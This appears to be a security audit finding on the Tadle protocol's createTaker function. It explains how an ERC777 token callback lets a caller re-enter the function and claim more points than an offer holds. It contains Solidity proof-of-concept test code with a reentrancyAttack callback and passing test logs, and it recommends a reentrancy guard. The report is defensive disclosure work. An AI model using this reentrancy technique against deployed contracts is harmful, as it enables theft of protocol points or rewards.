Summary
Sponsor confirms that any Token compatible with ERC20 will be accepted in protocol
ERC20 (any token that follows the ERC20 standard)
CreateTaker function contains an issue which allows a taker to bypass the points cap security check.
This bypass is possible when using ERC777 Tokens, its unique features can be exploited to bypass the points validation,
leading to potential abuse of the protocol's points system.
Vulnerability Details
The createTaker function in the protocol is designed to take an offer address and a points value as parameters.
The function checks that the points being used do not exceed the total points available in the offer by using
the following condition:
link: https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/PreMarkets.sol#L180-L186
@>>> if (offerInfo.points < _points + offerInfo.usedPoints) {
revert NotEnoughPoints(offerInfo.points, offerInfo.usedPoints, _points);
}
POC:
uint256 collateralRate = 10000;
address offerAddr1;
function createOffer_Test(uint256 amount, uint256 points) public {
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
points,
amount,
collateralRate,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
}
function test_Points() public {
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
offerAddr1 = GenerateAddress.generateOfferAddress(0);
@>>>
@>>> createOffer_Test(1000, 1000);
preMarktes.createTaker(offerAddr1, 1000);
}
uint256 reentrancyBreakLoop;
function reentrancyAttack() public payable {
if(reentrancyBreakLoop == 0) {
reentrancyBreakLoop = 1;
@>>>
@>>> preMarktes.createTaker(offerAddr1, 500);
console.log("[:: ERC777 Executed ::]");
}
}
function createTaker(address _offer, uint256 _points) external payable {
if (offerInfo.points < _points + offerInfo.usedPoints) {
revert NotEnoughPoints(offerInfo.points, offerInfo.usedPoints, _points);
}
ITokenManager tokenManager = tadleFactory.getTokenManager();
_depositTokenWhenCreateTaker(
platformFee,
depositAmount,
tradeTax,
makerInfo,
offerInfo,
tokenManager
);
{
@>>>
(bool s,) = address(msg.sender).call(abi.encodeWithSignature("reentrancyAttack()"));
require(s, "Failed...");
}
@>>> offerInfo.usedPoints = offerInfo.usedPoints + _points;
@>>> console.log("Used Points:", offerInfo.usedPoints);
}
NOTE: as we see we created offer with 1000 points but we got 1500 because of reentrancy.
Ran 1 test for test/PreMarkets.t.sol:PreMarketsTest
[PASS] test_Points() (gas: 944671)
Logs:
Used Points: 500
[:: ERC777 Executed ::]
Used Points: 1500
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.42ms (1.67ms CPU time)
Specifically, when an ERC777 token is used, the above check becomes ineffective, allowing a taker to claim more points than the offer has allocated, potentially leading to a depletion of the offer's points balance or unauthorized access to additional rewards.
Impact
A malicious actor can bypass very impotent check mechanism to get points more than it should be.
Recommendations
Use Reentrancy Guard to prevent reentrancy.